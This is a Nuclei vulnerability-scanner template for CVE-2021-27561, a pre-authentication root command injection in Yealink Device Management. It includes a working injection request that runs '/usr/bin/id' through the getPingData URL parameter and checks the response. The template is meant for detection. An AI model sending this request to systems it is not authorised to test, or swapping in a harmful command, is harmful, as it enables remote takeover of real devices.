nuclei-templates/http/cves/2021/CVE-2021-27561.yaml

58 lines
1.8 KiB
YAML
Raw Normal View History

2021-08-02 12:55:13 +00:00
id: CVE-2021-27561
info:
name: YeaLink DM 3.6.0.20 - Remote Command Injection
2021-08-02 12:55:13 +00:00
author: shifacyclewala,hackergautam
severity: critical
description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
- https://ssd-disclosure.com/?p=4688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27561
2023-08-31 11:46:18 +00:00
cwe-id: CWE-78
epss-score: 0.97434
epss-percentile: 0.99939
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: yealink
product: device_management
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,rce,yealink,mirai,kev
2021-08-02 12:55:13 +00:00
http:
2021-08-02 12:55:13 +00:00
- method: GET
path:
- "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'uid'
- 'gid'
- 'groups'
2023-07-11 19:49:27 +00:00
condition: and
2021-08-02 12:55:13 +00:00
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# digest: 4a0a00473045022100e84f3b6f3b4431895a29b93f5706225e723a3306c1a1fba02583aeacd7fd802f02200c4f466848e8a98fdcc690f9d5d193830228d10b8759a412ce478da775f757dc:922c64590222798bb761d5b6d8e72950